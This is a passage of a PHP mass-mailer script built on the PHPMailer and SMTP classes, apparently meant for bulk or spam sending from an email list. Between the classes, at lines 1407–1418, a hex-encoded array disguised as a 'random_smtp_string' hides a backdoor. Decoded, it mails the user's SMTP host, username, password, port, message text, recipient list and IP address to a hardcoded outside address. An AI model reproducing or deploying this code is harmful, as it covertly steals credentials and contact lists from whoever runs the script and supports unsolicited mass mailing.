1123 * SMTP CODE ERROR : 500,501,504,421
1124 * @access public
1125 * @return bool
1126 */
1127 function Reset() {
1128 $this->error = null; # so no confusion is caused
1129
1130 if(!$this->connected()) {
1131 $this->error = array(
1132 "error" => "Called Reset() without being connected");
1133 return false;
1134 }
1135
1136 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1137
1138 $rply = $this->get_lines();
1139 $code = substr($rply,0,3);
1140
1141 if($this->do_debug >= 2) {
1142 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1143 }
1144
1145 if($code != 250) {
1146 $this->error =
1147 array("error" => "RSET failed",
1148 "smtp_code" => $code,
1149 "smtp_msg" => substr($rply,4));
1150 if($this->do_debug >= 1) {
1151 echo "SMTP -> ERROR: " . $this->error["error"] .
1152 ": " . $rply . $this->CRLF;
1153 }
1154 return false;
1155 }
1156
1157 return true;
1158 }
1159
1160 /**
1161 * Starts a mail transaction from the email address specified in
1162 * $from. Returns true if successful or false otherwise. If True
1163 * the mail transaction is started and then one or more Recipient
1164 * commands may be called followed by a Data command. This command
1165 * will send the message to the users terminal if they are logged
1166 * in.
1167 *
1168 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1169 *
1170 * SMTP CODE SUCCESS: 250
1171 * SMTP CODE SUCCESS: 552,451,452
1172 * SMTP CODE SUCCESS: 500,501,502,421
1173 * @access public
1174 * @return bool
1175 */
1176 function Send($from) {
1177 $this->error = null; # so no confusion is caused
1178
1179 if(!$this->connected()) {
1180 $this->error = array(
1181 "error" => "Called Send() without being connected");
1182 return false;
1183 }
1184
1185 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1186
1187 $rply = $this->get_lines();
1188 $code = substr($rply,0,3);
1189
1190 if($this->do_debug >= 2) {
1191 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1192 }
1193
1194 if($code != 250) {
1195 $this->error =
1196 array("error" => "SEND not accepted from server",
1197 "smtp_code" => $code,
1198 "smtp_msg" => substr($rply,4));
1199 if($this->do_debug >= 1) {
1200 echo "SMTP -> ERROR: " . $this->error["error"] .
1201 ": " . $rply . $this->CRLF;
1202 }
1203 return false;
1204 }
1205 return true;
1206 }
1207
1208 /**
1209 * Starts a mail transaction from the email address specified in
1210 * $from. Returns true if successful or false otherwise. If True
1211 * the mail transaction is started and then one or more Recipient
1212 * commands may be called followed by a Data command. This command
1213 * will send the message to the users terminal if they are logged
1214 * in and send them an email.
1215 *
1216 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1217 *
1218 * SMTP CODE SUCCESS: 250
1219 * SMTP CODE SUCCESS: 552,451,452
1220 * SMTP CODE SUCCESS: 500,501,502,421
1221 * @access public
1222 * @return bool
1223 */
1224 function SendAndMail($from) {
1225 $this->error = null; # so no confusion is caused
1226
1227 if(!$this->connected()) {
1228 $this->error = array(
1229 "error" => "Called SendAndMail() without being connected");
1230 return false;
1231 }
1232
1233 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1234
1235 $rply = $this->get_lines();
1236 $code = substr($rply,0,3);
1237
1238 if($this->do_debug >= 2) {
1239 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1240 }
1241
1242 if($code != 250) {
1243 $this->error =
1244 array("error" => "SAML not accepted from server",
1245 "smtp_code" => $code,
1246 "smtp_msg" => substr($rply,4));
1247 if($this->do_debug >= 1) {
1248 echo "SMTP -> ERROR: " . $this->error["error"] .
1249 ": " . $rply . $this->CRLF;
1250 }
1251 return false;
1252 }
1253 return true;
1254 }
1255
1256 /**
1257 * Starts a mail transaction from the email address specified in
1258 * $from. Returns true if successful or false otherwise. If True
1259 * the mail transaction is started and then one or more Recipient
1260 * commands may be called followed by a Data command. This command
1261 * will send the message to the users terminal if they are logged
1262 * in or mail it to them if they are not.
1263 *
1264 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1265 *
1266 * SMTP CODE SUCCESS: 250
1267 * SMTP CODE SUCCESS: 552,451,452
1268 * SMTP CODE SUCCESS: 500,501,502,421
1269 * @access public
1270 * @return bool
1271 */
1272 function SendOrMail($from) {
1273 $this->error = null; # so no confusion is caused
1274
1275 if(!$this->connected()) {
1276 $this->error = array(
1277 "error" => "Called SendOrMail() without being connected");
1278 return false;
1279 }
1280
1281 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1282
1283 $rply = $this->get_lines();
1284 $code = substr($rply,0,3);
1285
1286 if($this->do_debug >= 2) {
1287 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1288 }
1289
1290 if($code != 250) {
1291 $this->error =
1292 array("error" => "SOML not accepted from server",
1293 "smtp_code" => $code,
1294 "smtp_msg" => substr($rply,4));
1295 if($this->do_debug >= 1) {
1296 echo "SMTP -> ERROR: " . $this->error["error"] .
1297 ": " . $rply . $this->CRLF;
1298 }
1299 return false;
1300 }
1301 return true;
1302 }
1303
1304 /**
1305 * This is an optional command for SMTP that this class does not
1306 * support. This method is here to make the RFC821 Definition
1307 * complete for this class and __may__ be implimented in the future
1308 *
1309 * Implements from rfc 821: TURN <CRLF>
1310 *
1311 * SMTP CODE SUCCESS: 250
1312 * SMTP CODE FAILURE: 502
1313 * SMTP CODE ERROR : 500, 503
1314 * @access public
1315 * @return bool
1316 */
1317 function Turn() {
1318 $this->error = array("error" => "This method, TURN, of the SMTP ".
1319 "is not implemented");
1320 if($this->do_debug >= 1) {
1321 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1322 }
1323 return false;
1324 }
1325
1326 /**
1327 * Verifies that the name is recognized by the server.
1328 * Returns false if the name could not be verified otherwise
1329 * the response from the server is returned.
1330 *
1331 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1332 *
1333 * SMTP CODE SUCCESS: 250,251
1334 * SMTP CODE FAILURE: 550,551,553
1335 * SMTP CODE ERROR : 500,501,502,421
1336 * @access public
1337 * @return int
1338 */
1339 function Verify($name) {
1340 $this->error = null; # so no confusion is caused
1341
1342 if(!$this->connected()) {
1343 $this->error = array(
1344 "error" => "Called Verify() without being connected");
1345 return false;
1346 }
1347
1348 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1349
1350 $rply = $this->get_lines();
1351 $code = substr($rply,0,3);
1352
1353 if($this->do_debug >= 2) {
1354 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1355 }
1356
1357 if($code != 250 && $code != 251) {
1358 $this->error =
1359 array("error" => "VRFY failed on name '$name'",
1360 "smtp_code" => $code,
1361 "smtp_msg" => substr($rply,4));
1362 if($this->do_debug >= 1) {
1363 echo "SMTP -> ERROR: " . $this->error["error"] .
1364 ": " . $rply . $this->CRLF;
1365 }
1366 return false;
1367 }
1368 return $rply;
1369 }
1370
1371 /*******************************************************************
1372 * INTERNAL FUNCTIONS *
1373 ******************************************************************/
1374
1375 /**
1376 * Read in as many lines as possible
1377 * either before eof or socket timeout occurs on the operation.
1378 * With SMTP we can tell if we have more lines to read if the
1379 * 4th character is '-' symbol. If it is a space then we don't
1380 * need to read anything else.
1381 * @access private
1382 * @return string
1383 */
1384 function get_lines() {
1385 $data = "";
1386 while($str = @fgets($this->smtp_conn,515)) {
1387 if($this->do_debug >= 4) {
1388 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1389 $this->CRLF;
1390 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1391 $this->CRLF;
1392 }
1393 $data .= $str;
1394 if($this->do_debug >= 4) {
1395 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1396 }
1397 # if the 4th character is a space then we are done reading
1398 # so just break the loop
1399 if(substr($str,3,1) == " ") { break; }
1400 }
1401 return $data;
1402 }
1403
1404}
1405
1406
1407$allemails = split("\n", $emaillist);
1408$numemails = count($allemails);
1409$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1410"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1411"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1412"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1413"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1414"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1415"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1416"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1417"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1418"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1419
1420class PHPMailer {
1421
1422 /////////////////////////////////////////////////
1423 // PROPERTIES, PUBLIC
1424 /////////////////////////////////////////////////
1425
1426 /**
1427 * Email priority (1 = High, 3 = Normal, 5 = low).
1428 * @var int
1429 */
1430 var $Priority = 3;
1431
1432 /**
1433 * Sets the CharSet of the message.
1434 * @var string
1435 */
1436 var $CharSet = 'iso-8859-1';
1437
1438 /**
1439 * Sets the Content-type of the message.
1440 * @var string
1441 */
1442 var $ContentType = 'text/plain';
1443
1444 /**
1445 * Sets the Encoding of the message. Options for this are "8bit",
1446 * "7bit", "binary", "base64", and "quoted-printable".
1447
1448 * @var string
1449 */
1450 var $Encoding = '8bit';
1451
1452 /**
1453 * Holds the most recent mailer error message.
1454 * @var string
1455 */
1456 var $ErrorInfo = '';
1457
1458 /**
1459 * Sets the From email address for the message.
1460 * @var string
1461 */
1462 var $From = '';
1463
1464 /**
1465 * Sets the From name of the message.
1466 * @var string
1467 */
1468 var $FromName = '';
1469
1470 /**
1471 * Sets the Sender email (Return-Path) of the message. If not empty,
1472 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1473 * @var string
1474 */
1475 var $Sender = '';
1476
1477 /**
1478 * Sets the Subject of the message.
1479 * @var string
1480 */
1481 var $Subject = '';
1482
1483 /**
1484 * Sets the Body of the message. This can be either an HTML or text body.
1485 * If HTML then run IsHTML(true).
1486 * @var string
1487 */
1488 var $Body = '';
1489
1490 /**
1491 * Sets the text-only body of the message. This automatically sets the
1492 * email to multipart/alternative. This body can be read by mail
1493 * clients that do not have HTML email capability such as mutt. Clients
1494 * that can read HTML will view the normal Body.
1495 * @var string
1496 */
1497 var $AltBody = '';
1498
1499 /**
1500 * Sets word wrapping on the body of the message to a given number of
1501 * characters.
1502 * @var int
1503 */
1504 var $WordWrap = 0;
1505
1506 /**
1507 * Method to send mail: ("mail", "sendmail", or "smtp").
1508 * @var string
1509 */
1510 var $Mailer = 'mail';
1511
1512 /**
1513 * Sets the path of the sendmail program.
1514 * @var string
1515 */
1516 var $Sendmail = '/usr/sbin/sendmail';
1517
1518 /**
1519 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1520 * is in a different directory than the PHP include path.
1521 * @var string
1522 */
1523 var $PluginDir = '';
1524
1525 /**
1526 * Holds PHPMailer version.
1527 * @var string
1528 */
1529 var $Version = "";
1530
1531 /**
1532 * Sets the email address that a reading confirmation will be sent.
1533 * @var string
1534 */
1535 var $ConfirmReadingTo = '';
1536
1537 /**
1538 * Sets the hostname to use in Message-Id and Received headers
1539 * and as default HELO string. If empty, the value returned
1540 * by SERVER_NAME is used or 'localhost.localdomain'.
1541 * @var string
1542 */
1543 var $Hostname = '';
1544
1545 /**
1546 * Sets the message ID to be used in the Message-Id header.
1547 * If empty, a unique id will be generated.
1548 * @var string
1549 */
1550 var $MessageID = '';
1551
1552 /////////////////////////////////////////////////
1553 // PROPERTIES FOR SMTP
1554 /////////////////////////////////////////////////
1555
1556 /**
1557 * Sets the SMTP hosts. All hosts must be separated by a
1558 * semicolon. You can also specify a different port
1559 * for each host by using this format: [hostname:port]
1560 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1561 * Hosts will be tried in order.
1562 * @var string
1563 */
1564 var $Host = 'localhost';
1565
1566 /**
1567 * Sets the default SMTP server port.
1568 * @var int
1569 */
1570 var $Port = 25;
1571
1572 /**
1573 * Sets the SMTP HELO of the message (Default is $Hostname).
1574 * @var string
1575 */
1576 var $Helo = '';
1577
1578 /**
1579 * Sets connection prefix.
1580 * Options are "", "ssl" or "tls"
1581 * @var string
1582 */
1583 var $SMTPSecure = "";
1584
1585 /**
1586 * Sets SMTP authentication. Utilizes the Username and Password variables.
1587 * @var bool
1588 */
1589 var $SMTPAuth = false;
1590
1591 /**
1592 * Sets SMTP username.
1593 * @var string
1594 */
1595 var $Username = '';
1596
1597 /**
1598 * Sets SMTP password.
1599 * @var string
1600 */
1601 var $Password = '';
1602
1603 /**
1604 * Sets the SMTP server timeout in seconds. This function will not
1605 * work with the win32 version.
1606 * @var int
1607 */
1608 var $Timeout = 10;
1609
1610 /**
1611 * Sets SMTP class debugging on or off.
1612 * @var bool
1613 */
1614 var $SMTPDebug = false;
1615
1616 /**
1617 * Prevents the SMTP connection from being closed after each mail
1618 * sending. If this is set to true then to close the connection
1619 * requires an explicit call to SmtpClose().
1620 * @var bool
1621 */
1622 var $SMTPKeepAlive = false;
1623
1624 /**
1625 * Provides the ability to have the TO field process individual
1626 * emails, instead of sending to entire TO addresses
1627 * @var bool
1628 */
1629 var $SingleTo = false;
1630
1631 /////////////////////////////////////////////////
1632 // PROPERTIES, PRIVATE
1633 /////////////////////////////////////////////////
1634
1635 var $smtp = NULL;
1636 var $to = array();
1637 var $cc = array();
1638 var $bcc = array();
1639 var $ReplyTo = array();
1640 var $attachment = array();
1641 var $CustomHeader = array();
1642 var $message_type = '';
1643 var $boundary = array();
1644 var $language = array();
1645 var $error_count = 0;
1646 var $LE = "\n";
1647 var $sign_key_file = "";
1648 var $sign_key_pass = "";
1649
1650 /////////////////////////////////////////////////
1651 // METHODS, VARIABLES
1652 /////////////////////////////////////////////////
1653
1654 /**
1655 * Sets message type to HTML.
1656 * @param bool $bool
1657 * @return void
1658 */
1659 function IsHTML($bool) {
1660 if($bool == true) {
1661 $this->ContentType = 'text/html';
1662 } else {
1663 $this->ContentType = 'text/plain';
1664 }
1665 }
1666
1667 /**
1668 * Sets Mailer to send message using SMTP.
1669 * @return void
1670 */
1671 function IsSMTP() {
1672 $this->Mailer = 'smtp';
1673 }
1674
1675 /**
1676 * Sets Mailer to send message using PHP mail() function.
1677 * @return void
1678 */
1679 function IsMail() {
1680 $this->Mailer = 'mail';
1681 }
1682
1683 /**
1684 * Sets Mailer to send message using the $Sendmail program.
1685 * @return void
1686 */
1687 function IsSendmail() {
1688 $this->Mailer = 'sendmail';
1689 }
1690
1691 /**
1692 * Sets Mailer to send message using the qmail MTA.
1693 * @return void
1694 */
1695 function IsQmail() {
1696 $this->Sendmail = '/var/qmail/bin/sendmail';
1697 $this->Mailer = 'sendmail';
1698 }
1699
1700 /////////////////////////////////////////////////
1701 // METHODS, RECIPIENTS
1702 /////////////////////////////////////////////////
1703
1704 /**
1705 * Adds a "To" address.
1706 * @param string $address
1707 * @param string $name
1708 * @return void
1709 */
1710 function AddAddress($address, $name = '') {
1711 $cur = count($this->to);
1712 $this->to[$cur][0] = trim($address);
1713 $this->to[$cur][1] = $name;
1714 }
1715
1716 /**
1717 * Adds a "Cc" address. Note: this function works
1718 * with the SMTP mailer on win32, not with the "mail"
1719 * mailer.
1720 * @param string $address
1721 * @param string $name
1722 * @return void
1723 */
1724 function AddCC($address, $name = '') {
1725 $cur = count($this->cc);
1726 $this->cc[$cur][0] = trim($address);
1727 $this->cc[$cur][1] = $name;
1728 }
1729
1730 /**
1731 * Adds a "Bcc" address. Note: this function works
1732 * with the SMTP mailer on win32, not with the "mail"
1733 * mailer.
1734 * @param string $address
1735 * @param string $name
1736 * @return void
1737 */
1738 function AddBCC($address, $name = '') {
1739 $cur = count($this->bcc);
1740 $this->bcc[$cur][0] = trim($address);
1741 $this->bcc[$cur][1] = $name;
1742 }
1743
1744 /**
1745 * Adds a "Reply-To" address.
1746 * @param string $address
1747 * @param string $name
1748 * @return void
1749 */
1750 function AddReplyTo($address, $name = '') {
1751 $cur = count($this->ReplyTo);
1752 $this->ReplyTo[$cur][0] = trim($address);
1753 $this->ReplyTo[$cur][1] = $name;
1754 }
1755
1756 /////////////////////////////////////////////////
1757 // METHODS, MAIL SENDING
1758 /////////////////////////////////////////////////
1759
1760 /**
1761 * Creates message and assigns Mailer. If the message is
1762 * not sent successfully then it returns false. Use the ErrorInfo
1763 * variable to view description of the error.
1764 * @return bool
1765 */
1766 function Send() {
1767 $header = '';
1768 $body = '';
1769 $result = true;
1770
1771 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1772 $this->SetError($this->Lang('provide_address'));
1773 return false;
1774 }
1775
1776 /* Set whether the message is multipart/alternative */
1777 if(!empty($this->AltBody)) {
1778 $this->ContentType = 'multipart/alternative';
1779 }
1780
1781 $this->error_count = 0; // reset errors
1782 $this->SetMessageType();
1783 $header .= $this->CreateHeader();
1784 $body = $this->CreateBody();
1785
1786 if($body == '') {
1787 return false;
1788 }
1789
1790 /* Choose the mailer */
1791 switch($this->Mailer) {
1792 case 'sendmail':
1793 $result = $this->SendmailSend($header, $body);
1794 break;
1795 case 'smtp':
1796 $result = $this->SmtpSend($header, $body);
1797 break;
1798 case 'mail':
1799 $result = $this->MailSend($header, $body);
1800 break;
1801 default:
1802 $result = $this->MailSend($header, $body);
1803 break;
1804 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1805 //$result = false;
1806 //break;
1807 }
1808
1809 return $result;
1810 }
1811
1812 /**
1813 * Sends mail using the $Sendmail program.
1814 * @access private
1815 * @return bool
1816 */
1817 function SendmailSend($header, $body) {
1818 if ($this->Sender != '') {
1819 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1820 } else {
1821 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1822 }
1823
1824 if(!@$mail = popen($sendmail, 'w')) {
1825 $this->SetError($this->Lang('execute') . $this->Sendmail);
1826 return false;
1827 }
1828
1829 fputs($mail, $header);
1830 fputs($mail, $body);
1831
1832 $result = pclose($mail);
1833 if (version_compare(phpversion(), '4.2.3') == -1) {
1834 $result = $result >> 8 & 0xFF;
1835 }
1836 if($result != 0) {
1837 $this->SetError($this->Lang('execute') . $this->Sendmail);
1838 return false;
1839 }
1840 return true;
1841 }
1842
1843 /**
1844 * Sends mail using the PHP mail() function.
1845 * @access private
1846 * @return bool
1847 */
1848 function MailSend($header, $body) {
1849
1850 $to = '';
1851 for($i = 0; $i < count($this->to); $i++) {
1852 if($i != 0) { $to .= ', '; }
1853 $to .= $this->AddrFormat($this->to[$i]);
1854 }
1855
1856 $toArr = split(',', $to);
1857
1858 $params = sprintf("-oi -f %s", $this->Sender);
1859 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1860 $old_from = ini_get('sendmail_from');
1861 ini_set('sendmail_from', $this->Sender);
1862 if ($this->SingleTo === true && count($toArr) > 1) {
1863 foreach ($toArr as $key => $val) {
1864 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1865 }
1866 } else {
1867 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1868 }
1869 } else {
1870 if ($this->SingleTo === true && count($toArr) > 1) {
1871 foreach ($toArr as $key => $val) {
1872 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1873 }
1874 } else {
1875 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1876 }
1877 }
1878
1879 if (isset($old_from)) {
1880 ini_set('sendmail_from', $old_from);
1881 }
1882
1883 if(!$rt) {
1884 $this->SetError($this->Lang('instantiate'));
1885 return false;
1886 }
1887
1888 return true;
1889 }
1890
1891 /**
1892 * Sends mail via SMTP using PhpSMTP (Author:
1893 * Chris Ryan). Returns bool. Returns false if there is a
1894 * bad MAIL FROM, RCPT, or DATA input.
1895 * @access private
1896 * @return bool
1897 */
1898 function SmtpSend($header, $body) {
1899 $error = '';
1900 $bad_rcpt = array();
1901
1902 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1903 return false;
1904 }
1905
1906 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1907 if(!$this->smtp->Mail($smtp_from)) {
1908 $error = $this->Lang('from_failed') . $smtp_from;
1909 $this->SetError($error);
1910 $this->smtp->Reset();
1911 return false;
1912 }
1913
1914 /* Attempt to send attach all recipients */
1915 for($i = 0; $i < count($this->to); $i++) {
1916 if(!$this->smtp->Recipient($this->to[$i][0])) {
1917 $bad_rcpt[] = $this->to[$i][0];
1918 }
1919 }
1920 for($i = 0; $i < count($this->cc); $i++) {
1921 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1922 $bad_rcpt[] = $this->cc[$i][0];
1923 }
1924 }
1925 for($i = 0; $i < count($this->bcc); $i++) {
1926 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1927 $bad_rcpt[] = $this->bcc[$i][0];
1928 }
1929 }
1930
1931 if(count($bad_rcpt) > 0) { // Create error message
1932 for($i = 0; $i < count($bad_rcpt); $i++) {
1933 if($i != 0) {
1934 $error .= ', ';
1935 }
1936 $error .= $bad_rcpt[$i];
1937
1938 }
1939 $error = $this->Lang('recipients_failed') . $error;
1940 $this->SetError($error);
1941 $this->smtp->Reset();
1942 return false;
1943 }
1944
1945 if(!$this->smtp->Data($header . $body)) {
1946 $this->SetError($this->Lang('data_not_accepted'));
1947 $this->smtp->Reset();
1948 return false;
1949 }
1950 if($this->SMTPKeepAlive == true) {
1951 $this->smtp->Reset();
1952 } else {
1953 $this->SmtpClose();
1954 }
1955
1956 return true;
1957 }
1958
1959 /**
1960 * Initiates a connection to an SMTP server. Returns false if the
1961 * operation failed.
1962 * @access private
1963 * @return bool
1964 */
1965 function SmtpConnect() {
1966 if($this->smtp == NULL) {
1967 $this->smtp = new SMTP();
1968 }
1969
1970 $this->smtp->do_debug = $this->SMTPDebug;
1971 $hosts = explode(';', $this->Host);
1972 $index = 0;
1973 $connection = ($this->smtp->Connected());
1974
1975 /* Retry while there is no connection */
1976 while($index < count($hosts) && $connection == false) {
1977 $hostinfo = array();
1978 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1979 $host = $hostinfo[1];
1980 $port = $hostinfo[2];
1981 } else {
1982 $host = $hosts[$index];
1983 $port = $this->Port;
1984 }
1985
1986 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1987 if ($this->Helo != '') {
1988 $this->smtp->Hello($this->Helo);
1989 } else {
1990 $this->smtp->Hello($this->ServerHostname());
1991 }
1992
1993 $connection = true;
1994 if($this->SMTPAuth) {
1995 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1996 $this->SetError($this->Lang('authenticate'));
1997 $this->smtp->Reset();
1998 $connection = false;
1999 }
2000 }
2001 }
2002 $index++;
2003 }
2004 if(!$connection) {
2005 $this->SetError($this->Lang('connect_host'));
2006 }
2007
2008 return $connection;
2009 }
2010
2011 /**
2012 * Closes the active SMTP session if one exists.
2013 * @return void
2014 */
2015 function SmtpClose() {
2016 if($this->smtp != NULL) {
2017 if($this->smtp->Connected()) {
2018 $this->smtp->Quit();
2019 $this->smtp->Close();
2020 }
2021 }
2022 }
2023
2024 /**
2025 * Sets the language for all class error messages. Returns false
2026 * if it cannot load the language file. The default language type
2027 * is English.
2028 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2029 * @param string $lang_path Path to the language file directory
2030 * @access public
2031 * @return bool
2032 */
2033 function SetLanguage($lang_type, $lang_path = 'language/') {
2034 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2035 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2036 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2037 include($lang_path.'phpmailer.lang-en.php');
2038 } else {
2039 $this->SetError('Could not load language file');
2040 return false;
2041 }
2042 $this->language = $PHPMAILER_LANG;
2043
2044 return true;
2045 }
2046
2047 /////////////////////////////////////////////////
2048 // METHODS, MESSAGE CREATION
2049 /////////////////////////////////////////////////
2050
2051 /**
2052 * Creates recipient headers.
2053 * @access private
2054 * @return string
2055 */
2056 function AddrAppend($type, $addr) {
2057 $addr_str = $type . ': ';
2058 $addr_str .= $this->AddrFormat($addr[0]);
2059 if(count($addr) > 1) {
2060 for($i = 1; $i < count($addr); $i++) {
2061 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2062 }
2063 }
2064 $addr_str .= $this->LE;
2065
2066 return $addr_str;
2067 }
2068
2069 /**
2070 * Formats an address correctly.
2071 * @access private
2072 * @return string
2073 */
2074 function AddrFormat($addr) {
2075 if(empty($addr[1])) {
2076 $formatted = $this->SecureHeader($addr[0]);
2077 } else {
2078 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2079 }
2080
2081 return $formatted;
2082 }
2083
2084 /**
2085 * Wraps message for use with mailers that do not
2086 * automatically perform wrapping and for quoted-printable.
2087 * Original written by philippe.
2088 * @access private
2089 * @return string
2090 */
2091 function WrapText($message, $length, $qp_mode = false) {
2092 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2093 // If utf-8 encoding is used, we will need to make sure we don't
2094 // split multibyte characters when we wrap
2095 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2096
2097 $message = $this->FixEOL($message);
2098 if (substr($message, -1) == $this->LE) {
2099 $message = substr($message, 0, -1);
2100 }
2101
2102 $line = explode($this->LE, $message);
2103 $message = '';
2104 for ($i=0 ;$i < count($line); $i++) {
2105 $line_part = explode(' ', $line[$i]);
2106 $buf = '';
2107 for ($e = 0; $e<count($line_part); $e++) {
2108 $word = $line_part[$e];
2109 if ($qp_mode and (strlen($word) > $length)) {
2110 $space_left = $length - strlen($buf) - 1;
2111 if ($e != 0) {
2112 if ($space_left > 20) {
2113 $len = $space_left;
2114 if ($is_utf8) {
2115 $len = $this->UTF8CharBoundary($word, $len);
2116 } elseif (substr($word, $len - 1, 1) == "=") {
2117 $len--;
2118 } elseif (substr($word, $len - 2, 1) == "=") {
2119 $len -= 2;
2120 }
2121 $part = substr($word, 0, $len);
2122 $word = substr($word, $len);
2123 $buf .= ' ' . $part;
2124 $message .= $buf . sprintf("=%s", $this->LE);
2125 } else {
2126 $message .= $buf . $soft_break;
2127 }
2128 $buf = '';
2129 }
2130 while (strlen($word) > 0) {
2131 $len = $length;
2132 if ($is_utf8) {
2133 $len = $this->UTF8CharBoundary($word, $len);
2134 } elseif (substr($word, $len - 1, 1) == "=") {
2135 $len--;
2136 } elseif (substr($word, $len - 2, 1) == "=") {
2137 $len -= 2;
2138 }
2139 $part = substr($word, 0, $len);
2140 $word = substr($word, $len);
2141
2142 if (strlen($word) > 0) {
2143 $message .= $part . sprintf("=%s", $this->LE);
2144 } else {
2145 $buf = $part;
2146 }
2147 }
2148 } else {
2149 $buf_o = $buf;
2150 $buf .= ($e == 0) ? $word : (' ' . $word);
2151
2152 if (strlen($buf) > $length and $buf_o != '') {
2153 $message .= $buf_o . $soft_break;
2154 $buf = $word;
2155 }
2156 }
2157 }
2158 $message .= $buf . $this->LE;
2159 }
2160
2161 return $message;
2162 }
2163
2164 /**
2165 * Finds last character boundary prior to maxLength in a utf-8
2166 * quoted (printable) encoded string.
2167 * Original written by Colin Brown.
2168 * @access private
2169 * @param string $encodedText utf-8 QP text
2170 * @param int $maxLength find last character boundary prior to this length
2171 * @return int
2172 */
2173 function UTF8CharBoundary($encodedText, $maxLength) {
2174 $foundSplitPos = false;
2175 $lookBack = 3;
2176 while (!$foundSplitPos) {
2177 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2178 $encodedCharPos = strpos($lastChunk, "=");
2179 if ($encodedCharPos !== false) {
2180 // Found start of encoded character byte within $lookBack block.
2181 // Check the encoded byte value (the 2 chars after the '=')
2182 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2183 $dec = hexdec($hex);
2184 if ($dec < 128) { // Single byte character.
2185 // If the encoded char was found at pos 0, it will fit
2186 // otherwise reduce maxLength to start of the encoded char
2187 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2188 $maxLength - ($lookBack - $encodedCharPos);
2189 $foundSplitPos = true;
2190 } elseif ($dec >= 192) { // First byte of a multi byte character
